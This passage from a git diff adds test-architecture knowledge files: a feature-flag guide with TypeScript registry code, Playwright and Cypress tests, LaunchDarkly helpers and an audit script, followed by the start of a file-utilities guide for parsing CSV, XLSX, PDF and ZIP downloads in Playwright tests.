+**Context**: Centralized flag management with TypeScript type safety and runtime validation.
+
+**Implementation**:
+
+```typescript
+// src/utils/feature-flags.ts
+/**
+ * Centralized feature flag definitions
+ * - Object.freeze prevents runtime modifications
+ * - TypeScript ensures compile-time type safety
+ * - Single source of truth for all flag keys
+ */
+export const FLAGS = Object.freeze({
+  // User-facing features
+  NEW_CHECKOUT_FLOW: 'new-checkout-flow',
+  DARK_MODE: 'dark-mode',
+  ENHANCED_SEARCH: 'enhanced-search',
+
+  // Experiments
+  PRICING_EXPERIMENT_A: 'pricing-experiment-a',
+  HOMEPAGE_VARIANT_B: 'homepage-variant-b',
+
+  // Infrastructure
+  USE_NEW_API_ENDPOINT: 'use-new-api-endpoint',
+  ENABLE_ANALYTICS_V2: 'enable-analytics-v2',
+
+  // Killswitches (emergency disables)
+  DISABLE_PAYMENT_PROCESSING: 'disable-payment-processing',
+  DISABLE_EMAIL_NOTIFICATIONS: 'disable-email-notifications',
+} as const);
+
+/**
+ * Type-safe flag keys
+ * Prevents typos and ensures autocomplete in IDEs
+ */
+export type FlagKey = (typeof FLAGS)[keyof typeof FLAGS];
+
+/**
+ * Flag metadata for governance
+ */
+type FlagMetadata = {
+  key: FlagKey;
+  name: string;
+  owner: string;
+  createdDate: string;
+  expiryDate?: string;
+  defaultState: boolean;
+  requiresCleanup: boolean;
+  dependencies?: FlagKey[];
+  telemetryEvents?: string[];
+};
+
+/**
+ * Flag registry with governance metadata
+ * Used for flag lifecycle tracking and cleanup alerts
+ */
+export const FLAG_REGISTRY: Record<FlagKey, FlagMetadata> = {
+  [FLAGS.NEW_CHECKOUT_FLOW]: {
+    key: FLAGS.NEW_CHECKOUT_FLOW,
+    name: 'New Checkout Flow',
+    owner: 'payments-team',
+    createdDate: '2025-01-15',
+    expiryDate: '2025-03-15',
+    defaultState: false,
+    requiresCleanup: true,
+    dependencies: [FLAGS.USE_NEW_API_ENDPOINT],
+    telemetryEvents: ['checkout_started', 'checkout_completed'],
+  },
+  [FLAGS.DARK_MODE]: {
+    key: FLAGS.DARK_MODE,
+    name: 'Dark Mode UI',
+    owner: 'frontend-team',
+    createdDate: '2025-01-10',
+    defaultState: false,
+    requiresCleanup: false, // Permanent feature toggle
+  },
+  // ... rest of registry
+};
+
+/**
+ * Validate flag exists in registry
+ * Throws at runtime if flag is unregistered
+ */
+export function validateFlag(flag: string): asserts flag is FlagKey {
+  if (!Object.values(FLAGS).includes(flag as FlagKey)) {
+    throw new Error(`Unregistered feature flag: ${flag}`);
+  }
+}
+
+/**
+ * Check if flag is expired (needs removal)
+ */
+export function isFlagExpired(flag: FlagKey): boolean {
+  const metadata = FLAG_REGISTRY[flag];
+  if (!metadata.expiryDate) return false;
+
+  const expiry = new Date(metadata.expiryDate);
+  return Date.now() > expiry.getTime();
+}
+
+/**
+ * Get all expired flags requiring cleanup
+ */
+export function getExpiredFlags(): FlagMetadata[] {
+  return Object.values(FLAG_REGISTRY).filter((meta) => isFlagExpired(meta.key));
+}
+```
+
+**Usage in application code**:
+
+```typescript
+// components/Checkout.tsx
+import { FLAGS } from '@/utils/feature-flags';
+import { useFeatureFlag } from '@/hooks/useFeatureFlag';
+
+export function Checkout() {
+  const isNewFlow = useFeatureFlag(FLAGS.NEW_CHECKOUT_FLOW);
+
+  return isNewFlow ? <NewCheckoutFlow /> : <LegacyCheckoutFlow />;
+}
+```
+
+**Key Points**:
+
+- **Type safety**: TypeScript catches typos at compile time
+- **Runtime validation**: validateFlag ensures only registered flags used
+- **Metadata tracking**: Owner, dates, dependencies documented
+- **Expiry alerts**: Automated detection of stale flags
+- **Single source of truth**: All flags defined in one place
+
+---
+
+### Example 2: Feature Flag Testing Pattern (Both States)
+
+**Context**: Comprehensive testing of feature flag variations with proper cleanup.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-feature-flag.spec.ts
+import { test, expect } from '@playwright/test';
+import { FLAGS } from '@/utils/feature-flags';
+
+/**
+ * Feature Flag Testing Strategy:
+ * 1. Test BOTH enabled and disabled states
+ * 2. Clean up targeting after each test
+ * 3. Use dedicated test users (not production data)
+ * 4. Verify telemetry events fire correctly
+ */
+
+test.describe('Checkout Flow - Feature Flag Variations', () => {
+  let testUserId: string;
+
+  test.beforeEach(async () => {
+    // Generate unique test user ID
+    testUserId = `test-user-${Date.now()}`;
+  });
+
+  test.afterEach(async ({ request }) => {
+    // CRITICAL: Clean up flag targeting to prevent shared env pollution
+    await request.post('/api/feature-flags/cleanup', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+      },
+    });
+  });
+
+  test('should use NEW checkout flow when flag is ENABLED', async ({ page, request }) => {
+    // Arrange: Enable flag for test user
+    await request.post('/api/feature-flags/target', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+        variation: true, // ENABLED
+      },
+    });
+
+    // Act: Navigate as targeted user
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: New flow UI elements visible
+    await expect(page.getByTestId('checkout-v2-container')).toBeVisible();
+    await expect(page.getByTestId('express-payment-options')).toBeVisible();
+    await expect(page.getByTestId('saved-addresses-dropdown')).toBeVisible();
+
+    // Assert: Legacy flow NOT visible
+    await expect(page.getByTestId('checkout-v1-container')).not.toBeVisible();
+
+    // Assert: Telemetry event fired
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS_EVENTS__ || []);
+    expect(analyticsEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'checkout_started',
+        properties: expect.objectContaining({
+          variant: 'new_flow',
+        }),
+      }),
+    );
+  });
+
+  test('should use LEGACY checkout flow when flag is DISABLED', async ({ page, request }) => {
+    // Arrange: Disable flag for test user (or don't target at all)
+    await request.post('/api/feature-flags/target', {
+      data: {
+        flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+        userId: testUserId,
+        variation: false, // DISABLED
+      },
+    });
+
+    // Act: Navigate as targeted user
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: Legacy flow UI elements visible
+    await expect(page.getByTestId('checkout-v1-container')).toBeVisible();
+    await expect(page.getByTestId('legacy-payment-form')).toBeVisible();
+
+    // Assert: New flow NOT visible
+    await expect(page.getByTestId('checkout-v2-container')).not.toBeVisible();
+    await expect(page.getByTestId('express-payment-options')).not.toBeVisible();
+
+    // Assert: Telemetry event fired with correct variant
+    const analyticsEvents = await page.evaluate(() => (window as any).__ANALYTICS_EVENTS__ || []);
+    expect(analyticsEvents).toContainEqual(
+      expect.objectContaining({
+        event: 'checkout_started',
+        properties: expect.objectContaining({
+          variant: 'legacy_flow',
+        }),
+      }),
+    );
+  });
+
+  test('should handle flag evaluation errors gracefully', async ({ page, request }) => {
+    // Arrange: Simulate flag service unavailable
+    await page.route('**/api/feature-flags/evaluate', (route) => route.fulfill({ status: 500, body: 'Service Unavailable' }));
+
+    // Act: Navigate (should fallback to default state)
+    await page.goto('/checkout', {
+      extraHTTPHeaders: {
+        'X-Test-User-ID': testUserId,
+      },
+    });
+
+    // Assert: Fallback to safe default (legacy flow)
+    await expect(page.getByTestId('checkout-v1-container')).toBeVisible();
+
+    // Assert: Error logged but no user-facing error
+    const consoleErrors = [];
+    page.on('console', (msg) => {
+      if (msg.type() === 'error') consoleErrors.push(msg.text());
+    });
+    expect(consoleErrors).toContain(expect.stringContaining('Feature flag evaluation failed'));
+  });
+});
+```
+
+**Cypress equivalent**:
+
+```javascript
+// cypress/e2e/checkout-feature-flag.cy.ts
+import { FLAGS } from '@/utils/feature-flags';
+
+describe('Checkout Flow - Feature Flag Variations', () => {
+  let testUserId;
+
+  beforeEach(() => {
+    testUserId = `test-user-${Date.now()}`;
+  });
+
+  afterEach(() => {
+    // Clean up targeting
+    cy.task('removeFeatureFlagTarget', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+    });
+  });
+
+  it('should use NEW checkout flow when flag is ENABLED', () => {
+    // Arrange: Enable flag via Cypress task
+    cy.task('setFeatureFlagVariation', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+      variation: true,
+    });
+
+    // Act
+    cy.visit('/checkout', {
+      headers: { 'X-Test-User-ID': testUserId },
+    });
+
+    // Assert
+    cy.get('[data-testid="checkout-v2-container"]').should('be.visible');
+    cy.get('[data-testid="checkout-v1-container"]').should('not.exist');
+  });
+
+  it('should use LEGACY checkout flow when flag is DISABLED', () => {
+    // Arrange: Disable flag
+    cy.task('setFeatureFlagVariation', {
+      flagKey: FLAGS.NEW_CHECKOUT_FLOW,
+      userId: testUserId,
+      variation: false,
+    });
+
+    // Act
+    cy.visit('/checkout', {
+      headers: { 'X-Test-User-ID': testUserId },
+    });
+
+    // Assert
+    cy.get('[data-testid="checkout-v1-container"]').should('be.visible');
+    cy.get('[data-testid="checkout-v2-container"]').should('not.exist');
+  });
+});
+```
+
+**Key Points**:
+
+- **Test both states**: Enabled AND disabled variations
+- **Automatic cleanup**: afterEach removes targeting (prevent pollution)
+- **Unique test users**: Avoid conflicts with real user data
+- **Telemetry validation**: Verify analytics events fire correctly
+- **Graceful degradation**: Test fallback behavior on errors
+
+---
+
+### Example 3: Feature Flag Targeting Helper Pattern
+
+**Context**: Reusable helpers for programmatic flag control via LaunchDarkly/Split.io API.
+
+**Implementation**:
+
+```typescript
+// tests/support/feature-flag-helpers.ts
+import { request as playwrightRequest } from '@playwright/test';
+import { FLAGS, FlagKey } from '@/utils/feature-flags';
+
+/**
+ * LaunchDarkly API client configuration
+ * Use test project SDK key (NOT production)
+ */
+const LD_SDK_KEY = process.env.LD_SDK_KEY_TEST;
+const LD_API_BASE = 'https://app.launchdarkly.com/api/v2';
+
+type FlagVariation = boolean | string | number | object;
+
+/**
+ * Set flag variation for specific user
+ * Uses LaunchDarkly API to create user target
+ */
+export async function setFlagForUser(flagKey: FlagKey, userId: string, variation: FlagVariation): Promise<void> {
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.post(`${LD_API_BASE}/flags/${flagKey}/targeting`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+        'Content-Type': 'application/json',
+      },
+      data: {
+        targets: [
+          {
+            values: [userId],
+            variation: variation ? 1 : 0, // 0 = off, 1 = on
+          },
+        ],
+      },
+    }),
+  );
+
+  if (!response.ok()) {
+    throw new Error(`Failed to set flag ${flagKey} for user ${userId}: ${response.status()}`);
+  }
+}
+
+/**
+ * Remove user from flag targeting
+ * CRITICAL for test cleanup
+ */
+export async function removeFlagTarget(flagKey: FlagKey, userId: string): Promise<void> {
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.delete(`${LD_API_BASE}/flags/${flagKey}/targeting/users/${userId}`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+      },
+    }),
+  );
+
+  if (!response.ok() && response.status() !== 404) {
+    // 404 is acceptable (user wasn't targeted)
+    throw new Error(`Failed to remove flag ${flagKey} target for user ${userId}: ${response.status()}`);
+  }
+}
+
+/**
+ * Percentage rollout helper
+ * Enable flag for N% of users
+ */
+export async function setFlagRolloutPercentage(flagKey: FlagKey, percentage: number): Promise<void> {
+  if (percentage < 0 || percentage > 100) {
+    throw new Error('Percentage must be between 0 and 100');
+  }
+
+  const response = await playwrightRequest.newContext().then((ctx) =>
+    ctx.patch(`${LD_API_BASE}/flags/${flagKey}`, {
+      headers: {
+        Authorization: LD_SDK_KEY!,
+        'Content-Type': 'application/json',
+      },
+      data: {
+        rollout: {
+          variations: [
+            { variation: 0, weight: 100 - percentage }, // off
+            { variation: 1, weight: percentage }, // on
+          ],
+        },
+      },
+    }),
+  );
+
+  if (!response.ok()) {
+    throw new Error(`Failed to set rollout for flag ${flagKey}: ${response.status()}`);
+  }
+}
+
+/**
+ * Enable flag globally (100% rollout)
+ */
+export async function enableFlagGlobally(flagKey: FlagKey): Promise<void> {
+  await setFlagRolloutPercentage(flagKey, 100);
+}
+
+/**
+ * Disable flag globally (0% rollout)
+ */
+export async function disableFlagGlobally(flagKey: FlagKey): Promise<void> {
+  await setFlagRolloutPercentage(flagKey, 0);
+}
+
+/**
+ * Stub feature flags in local/test environments
+ * Bypasses LaunchDarkly entirely
+ */
+export function stubFeatureFlags(flags: Record<FlagKey, FlagVariation>): void {
+  // Set flags in localStorage or inject into window
+  if (typeof window !== 'undefined') {
+    (window as any).__STUBBED_FLAGS__ = flags;
+  }
+}
+```
+
+**Usage in Playwright fixture**:
+
+```typescript
+// playwright/fixtures/feature-flag-fixture.ts
+import { test as base } from '@playwright/test';
+import { setFlagForUser, removeFlagTarget } from '../support/feature-flag-helpers';
+import { FlagKey } from '@/utils/feature-flags';
+
+type FeatureFlagFixture = {
+  featureFlags: {
+    enable: (flag: FlagKey, userId: string) => Promise<void>;
+    disable: (flag: FlagKey, userId: string) => Promise<void>;
+    cleanup: (flag: FlagKey, userId: string) => Promise<void>;
+  };
+};
+
+export const test = base.extend<FeatureFlagFixture>({
+  featureFlags: async ({}, use) => {
+    const cleanupQueue: Array<{ flag: FlagKey; userId: string }> = [];
+
+    await use({
+      enable: async (flag, userId) => {
+        await setFlagForUser(flag, userId, true);
+        cleanupQueue.push({ flag, userId });
+      },
+      disable: async (flag, userId) => {
+        await setFlagForUser(flag, userId, false);
+        cleanupQueue.push({ flag, userId });
+      },
+      cleanup: async (flag, userId) => {
+        await removeFlagTarget(flag, userId);
+      },
+    });
+
+    // Auto-cleanup after test
+    for (const { flag, userId } of cleanupQueue) {
+      await removeFlagTarget(flag, userId);
+    }
+  },
+});
+```
+
+**Key Points**:
+
+- **API-driven control**: No manual UI clicks required
+- **Auto-cleanup**: Fixture tracks and removes targeting
+- **Percentage rollouts**: Test gradual feature releases
+- **Stubbing option**: Local development without LaunchDarkly
+- **Type-safe**: FlagKey prevents typos
+
+---
+
+### Example 4: Feature Flag Lifecycle Checklist & Cleanup Strategy
+
+**Context**: Governance checklist and automated cleanup detection for stale flags.
+
+**Implementation**:
+
+```typescript
+// scripts/feature-flag-audit.ts
+/**
+ * Feature Flag Lifecycle Audit Script
+ * Run weekly to detect stale flags requiring cleanup
+ */
+
+import { FLAG_REGISTRY, FLAGS, getExpiredFlags, FlagKey } from '../src/utils/feature-flags';
+import * as fs from 'fs';
+import * as path from 'path';
+
+type AuditResult = {
+  totalFlags: number;
+  expiredFlags: FlagKey[];
+  missingOwners: FlagKey[];
+  missingDates: FlagKey[];
+  permanentFlags: FlagKey[];
+  flagsNearingExpiry: FlagKey[];
+};
+
+/**
+ * Audit all feature flags for governance compliance
+ */
+function auditFeatureFlags(): AuditResult {
+  const allFlags = Object.keys(FLAG_REGISTRY) as FlagKey[];
+  const expiredFlags = getExpiredFlags().map((meta) => meta.key);
+
+  // Flags expiring in next 30 days
+  const thirtyDaysFromNow = Date.now() + 30 * 24 * 60 * 60 * 1000;
+  const flagsNearingExpiry = allFlags.filter((flag) => {
+    const meta = FLAG_REGISTRY[flag];
+    if (!meta.expiryDate) return false;
+    const expiry = new Date(meta.expiryDate).getTime();
+    return expiry > Date.now() && expiry < thirtyDaysFromNow;
+  });
+
+  // Missing metadata
+  const missingOwners = allFlags.filter((flag) => !FLAG_REGISTRY[flag].owner);
+  const missingDates = allFlags.filter((flag) => !FLAG_REGISTRY[flag].createdDate);
+
+  // Permanent flags (no expiry, requiresCleanup = false)
+  const permanentFlags = allFlags.filter((flag) => {
+    const meta = FLAG_REGISTRY[flag];
+    return !meta.expiryDate && !meta.requiresCleanup;
+  });
+
+  return {
+    totalFlags: allFlags.length,
+    expiredFlags,
+    missingOwners,
+    missingDates,
+    permanentFlags,
+    flagsNearingExpiry,
+  };
+}
+
+/**
+ * Generate markdown report
+ */
+function generateReport(audit: AuditResult): string {
+  let report = `# Feature Flag Audit Report\n\n`;
+  report += `**Date**: ${new Date().toISOString()}\n`;
+  report += `**Total Flags**: ${audit.totalFlags}\n\n`;
+
+  if (audit.expiredFlags.length > 0) {
+    report += `## ⚠️ EXPIRED FLAGS - IMMEDIATE CLEANUP REQUIRED\n\n`;
+    audit.expiredFlags.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`)\n`;
+      report += `  - Owner: ${meta.owner}\n`;
+      report += `  - Expired: ${meta.expiryDate}\n`;
+      report += `  - Action: Remove flag code, update tests, deploy\n\n`;
+    });
+  }
+
+  if (audit.flagsNearingExpiry.length > 0) {
+    report += `## ⏰ FLAGS EXPIRING SOON (Next 30 Days)\n\n`;
+    audit.flagsNearingExpiry.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`)\n`;
+      report += `  - Owner: ${meta.owner}\n`;
+      report += `  - Expires: ${meta.expiryDate}\n`;
+      report += `  - Action: Plan cleanup or extend expiry\n\n`;
+    });
+  }
+
+  if (audit.permanentFlags.length > 0) {
+    report += `## 🔄 PERMANENT FLAGS (No Expiry)\n\n`;
+    audit.permanentFlags.forEach((flag) => {
+      const meta = FLAG_REGISTRY[flag];
+      report += `- **${meta.name}** (\`${flag}\`) - Owner: ${meta.owner}\n`;
+    });
+    report += `\n`;
+  }
+
+  if (audit.missingOwners.length > 0 || audit.missingDates.length > 0) {
+    report += `## ❌ GOVERNANCE ISSUES\n\n`;
+    if (audit.missingOwners.length > 0) {
+      report += `**Missing Owners**: ${audit.missingOwners.join(', ')}\n`;
+    }
+    if (audit.missingDates.length > 0) {
+      report += `**Missing Created Dates**: ${audit.missingDates.join(', ')}\n`;
+    }
+    report += `\n`;
+  }
+
+  return report;
+}
+
+/**
+ * Feature Flag Lifecycle Checklist
+ */
+const FLAG_LIFECYCLE_CHECKLIST = `
+# Feature Flag Lifecycle Checklist
+
+## Before Creating a New Flag
+
+- [ ] **Name**: Follow naming convention (kebab-case, descriptive)
+- [ ] **Owner**: Assign team/individual responsible
+- [ ] **Default State**: Determine safe default (usually false)
+- [ ] **Expiry Date**: Set removal date (30-90 days typical)
+- [ ] **Dependencies**: Document related flags
+- [ ] **Telemetry**: Plan analytics events to track
+- [ ] **Rollback Plan**: Define how to disable quickly
+
+## During Development
+
+- [ ] **Code Paths**: Both enabled/disabled states implemented
+- [ ] **Tests**: Both variations tested in CI
+- [ ] **Documentation**: Flag purpose documented in code/PR
+- [ ] **Telemetry**: Analytics events instrumented
+- [ ] **Error Handling**: Graceful degradation on flag service failure
+
+## Before Launch
+
+- [ ] **QA**: Both states tested in staging
+- [ ] **Rollout Plan**: Gradual rollout percentage defined
+- [ ] **Monitoring**: Dashboards/alerts for flag-related metrics
+- [ ] **Stakeholder Communication**: Product/design aligned
+
+## After Launch (Monitoring)
+
+- [ ] **Metrics**: Success criteria tracked
+- [ ] **Error Rates**: No increase in errors
+- [ ] **Performance**: No degradation
+- [ ] **User Feedback**: Qualitative data collected
+
+## Cleanup (Post-Launch)
+
+- [ ] **Remove Flag Code**: Delete if/else branches
+- [ ] **Update Tests**: Remove flag-specific tests
+- [ ] **Remove Targeting**: Clear all user targets
+- [ ] **Delete Flag Config**: Remove from LaunchDarkly/registry
+- [ ] **Update Documentation**: Remove references
+- [ ] **Deploy**: Ship cleanup changes
+`;
+
+// Run audit
+const audit = auditFeatureFlags();
+const report = generateReport(audit);
+
+// Save report
+const outputPath = path.join(__dirname, '../feature-flag-audit-report.md');
+fs.writeFileSync(outputPath, report);
+fs.writeFileSync(path.join(__dirname, '../FEATURE-FLAG-CHECKLIST.md'), FLAG_LIFECYCLE_CHECKLIST);
+
+console.log(`✅ Audit complete. Report saved to: ${outputPath}`);
+console.log(`Total flags: ${audit.totalFlags}`);
+console.log(`Expired flags: ${audit.expiredFlags.length}`);
+console.log(`Flags expiring soon: ${audit.flagsNearingExpiry.length}`);
+
+// Exit with error if expired flags exist
+if (audit.expiredFlags.length > 0) {
+  console.error(`\n❌ EXPIRED FLAGS DETECTED - CLEANUP REQUIRED`);
+  process.exit(1);
+}
+```
+
+**package.json scripts**:
+
+```json
+{
+  "scripts": {
+    "feature-flags:audit": "ts-node scripts/feature-flag-audit.ts",
+    "feature-flags:audit:ci": "npm run feature-flags:audit || true"
+  }
+}
+```
+
+**Key Points**:
+
+- **Automated detection**: Weekly audit catches stale flags
+- **Lifecycle checklist**: Comprehensive governance guide
+- **Expiry tracking**: Flags auto-expire after defined date
+- **CI integration**: Audit runs in pipeline, warns on expiry
+- **Ownership clarity**: Every flag has assigned owner
+
+---
+
+## Feature Flag Testing Checklist
+
+Before merging flag-related code, verify:
+
+- [ ] **Both states tested**: Enabled AND disabled variations covered
+- [ ] **Cleanup automated**: afterEach removes targeting (no manual cleanup)
+- [ ] **Unique test data**: Test users don't collide with production
+- [ ] **Telemetry validated**: Analytics events fire for both variations
+- [ ] **Error handling**: Graceful fallback when flag service unavailable
+- [ ] **Flag metadata**: Owner, dates, dependencies documented in registry
+- [ ] **Rollback plan**: Clear steps to disable flag in production
+- [ ] **Expiry date set**: Removal date defined (or marked permanent)
+
+## Integration Points
+
+- Used in workflows: `*automate` (test generation), `*framework` (flag setup)
+- Related fragments: `test-quality.md`, `selective-testing.md`
+- Flag services: LaunchDarkly, Split.io, Unleash, custom implementations
+
+_Source: LaunchDarkly strategy blog, Murat test architecture notes, enterprise feature flag governance_
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/file-utils.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/file-utils.md
new file mode 100644
index 0000000..b515d24
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/file-utils.md
@@ -0,0 +1,456 @@
+# File Utilities
+
+## Principle
+
+Read and validate files (CSV, XLSX, PDF, ZIP) with automatic parsing, type-safe results, and download handling. Simplify file operations in Playwright tests with built-in format support and validation helpers.
+
+## Rationale
+
+Testing file operations in Playwright requires boilerplate:
+
+- Manual download handling
+- External parsing libraries for each format
+- No validation helpers
+- Type-unsafe results
+- Repetitive path handling
+
+The `file-utils` module provides:
+
+- **Auto-parsing**: CSV, XLSX, PDF, ZIP automatically parsed
+- **Download handling**: Single function for UI or API-triggered downloads
+- **Type-safe**: TypeScript interfaces for parsed results
+- **Validation helpers**: Row count, header checks, content validation
+- **Format support**: Multiple sheet support (XLSX), text extraction (PDF), archive extraction (ZIP)
+
+## Why Use This Instead of Vanilla Playwright?
+
+| Vanilla Playwright                          | File Utils                                       |
+| ------------------------------------------- | ------------------------------------------------ |
+| ~80 lines per CSV flow (download + parse)   | ~10 lines end-to-end                             |
+| Manual event orchestration for downloads    | Encapsulated in `handleDownload()`               |
+| Manual path handling and `saveAs`           | Returns a ready-to-use file path                 |
+| Manual existence checks and error handling  | Centralized in one place via utility patterns    |
+| Manual CSV parsing config (headers, typing) | `readCSV()` returns `{ data, headers }` directly |
+
+## Pattern Examples
+
+### Example 1: UI-Triggered CSV Download
+
+**Context**: User clicks button, CSV downloads, validate contents.
+
+**Implementation**:
+
+```typescript
+import { handleDownload, readCSV } from '@seontechnologies/playwright-utils/file-utils';
+import path from 'node:path';
+
+const DOWNLOAD_DIR = path.join(__dirname, '../downloads');
+
+test('should download and validate CSV', async ({ page }) => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.getByTestId('download-button-text/csv').click(),
+  });
+
+  const csvResult = await readCSV({ filePath: downloadPath });
+
+  // Access parsed data and headers
+  const { data, headers } = csvResult.content;
+  expect(headers).toEqual(['ID', 'Name', 'Email']);
+  expect(data[0]).toMatchObject({
+    ID: expect.any(String),
+    Name: expect.any(String),
+    Email: expect.any(String),
+  });
+});
+```
+
+**Key Points**:
+
+- `handleDownload` waits for download, returns file path
+- `readCSV` auto-parses to `{ headers, data }`
+- Type-safe access to parsed content
+- Clean up downloads in `afterEach`
+
+### Example 2: XLSX with Multiple Sheets
+
+**Context**: Excel file with multiple sheets (e.g., Summary, Details, Errors).
+
+**Implementation**:
+
+```typescript
+import { readXLSX } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should read multi-sheet XLSX', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.click('[data-testid="export-xlsx"]'),
+  });
+
+  const xlsxResult = await readXLSX({ filePath: downloadPath });
+
+  // Verify worksheet structure
+  expect(xlsxResult.content.worksheets.length).toBeGreaterThan(0);
+  const worksheet = xlsxResult.content.worksheets[0];
+  expect(worksheet).toBeDefined();
+  expect(worksheet).toHaveProperty('name');
+
+  // Access sheet data
+  const sheetData = worksheet?.data;
+  expect(Array.isArray(sheetData)).toBe(true);
+
+  // Use type assertion for type safety
+  const firstRow = sheetData![0] as Record<string, unknown>;
+  expect(firstRow).toHaveProperty('id');
+});
+```
+
+**Key Points**:
+
+- `worksheets` array with `name` and `data` properties
+- Access sheets by name
+- Each sheet has its own headers and data
+- Type-safe sheet iteration
+
+### Example 3: PDF Text Extraction
+
+**Context**: Validate PDF report contains expected content.
+
+**Implementation**:
+
+```typescript
+import { readPDF } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should validate PDF report', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.getByTestId('download-button-Text-based PDF Document').click(),
+  });
+
+  const pdfResult = await readPDF({ filePath: downloadPath });
+
+  // content is extracted text from all pages
+  expect(pdfResult.pagesCount).toBe(1);
+  expect(pdfResult.fileName).toContain('.pdf');
+  expect(pdfResult.content).toContain('All you need is the free Adobe Acrobat Reader');
+});
+```
+
+**PDF Reader Options:**
+
+```typescript
+const result = await readPDF({
+  filePath: '/path/to/document.pdf',
+  mergePages: false, // Keep pages separate (default: true)
+  debug: true, // Enable debug logging
+  maxPages: 10, // Limit processing to first 10 pages
+});
+```
+
+**Important Limitation - Vector-based PDFs:**
+
+Text extraction may fail for PDFs that store text as vector graphics (e.g., those generated by jsPDF):
+
+```typescript
+// Vector-based PDF example (extraction fails gracefully)
+const pdfResult = await readPDF({ filePath: downloadPath });
+
+expect(pdfResult.pagesCount).toBe(1);
+expect(pdfResult.info.extractionNotes).toContain('Text extraction from vector-based PDFs is not supported.');
+```
+
+Such PDFs will have:
+
+- `textExtractionSuccess: false`
+- `isVectorBased: true`
+- Explanatory message in `extractionNotes`
+
+### Example 4: ZIP Archive Validation
+
+**Context**: Validate ZIP contains expected files and extract specific file.
+
+**Implementation**:
+
+```typescript
+import { readZIP } from '@seontechnologies/playwright-utils/file-utils';
+
+test('should validate ZIP archive', async () => {
+  const downloadPath = await handleDownload({
+    page,
+    downloadDir: DOWNLOAD_DIR,
+    trigger: () => page.click('[data-testid="download-backup"]'),
+  });
+
+  const zipResult = await readZIP({ filePath: downloadPath });
+
+  // Check file list
+  expect(Array.isArray(zipResult.content.entries)).toBe(true);
+  expect(zipResult.content.entries).toContain('Case_53125_10-19-22_AM/Case_53125_10-19-22_AM_case_data.csv');
+
+  // Extract specific file
+  const targetFile = 'Case_53125_10-19-22_AM/Case_53125_10-19-22_AM_case_data.csv';
+  const zipWithExtraction = await readZIP({
+    filePath: downloadPath,
+    fileToExtract: targetFile,
+  });
+
+  // Access extracted file buffer
+  const extractedFiles = zipWithExtraction.content.extractedFiles || {};
+  const fileBuffer = extractedFiles[targetFile];
+  expect(fileBuffer).toBeInstanceOf(Buffer);
+  expect(fileBuffer?.length).toBeGreaterThan(0);
+});
+```
+
+**Key Points**:
+
+- `content.entries` lists all files in archive
+- `fileToExtract` extracts specific files to Buffer
+- Validate archive structure
+- Read and parse individual files from ZIP
+
+### Example 5: API-Triggered Download
+
+**Context**: API endpoint returns file download (not UI click).
+
+**Implementation**:
+
+```typescript
+test('should download via API', async ({ page, request }) => {
+  const downloadPath = await handleDownload({
+    page, // Still need page for download events
+    downloadDir: DOWNLOAD_DIR,
+    trigger: async () => {
+      const response = await request.get('/api/export/csv', {
+        headers: { Authorization: 'Bearer token' },
+      });
+
+      if (!response.ok()) {
+        throw new Error(`Export failed: ${response.status()}`);
+      }
+    },
+  });
+
+  const { content } = await readCSV({ filePath: downloadPath });
+
+  expect(content.data).toHaveLength(100);
+});
+```
+
+**Key Points**:
+
+- `trigger` can be async API call
+- API must return `Content-Disposition` header
+- Still need `page` for download events
+- Works with authenticated endpoints
+
+### Example 6: Reading CSV from Buffer (ZIP extraction)
+
+**Context**: Read CSV content directly from a Buffer (e.g., extracted from ZIP).
+
+**Implementation**:
+
+```typescript
+// Read from a Buffer (e.g., extracted from a ZIP)
+const zipResult = await readZIP({
+  filePath: 'archive.zip',
+  fileToExtract: 'data.csv',
+});
+const fileBuffer = zipResult.content.extractedFiles?.['data.csv'];
+const csvFromBuffer = await readCSV({ content: fileBuffer });
+
+// Read from a string
+const csvString = 'name,age\nJohn,30\nJane,25';
+const csvFromString = await readCSV({ content: csvString });
+
+const { data, headers } = csvFromString.content;
+expect(headers).toContain('name');
+expect(headers).toContain('age');
+```
+
+## API Reference
+
+### CSV Reader Options
+
+| Option         | Type               | Default  | Description                            |
+| -------------- | ------------------ | -------- | -------------------------------------- |
+| `filePath`     | `string`           | -        | Path to CSV file (mutually exclusive)  |
+| `content`      | `string \| Buffer` | -        | Direct content (mutually exclusive)    |
+| `delimiter`    | `string \| 'auto'` | `','`    | Value separator, auto-detect if 'auto' |
+| `encoding`     | `string`           | `'utf8'` | File encoding                          |
+| `parseHeaders` | `boolean`          | `true`   | Use first row as headers               |
+| `trim`         | `boolean`          | `true`   | Trim whitespace from values            |
+
+### XLSX Reader Options
+
+| Option      | Type     | Description                    |
+| ----------- | -------- | ------------------------------ |
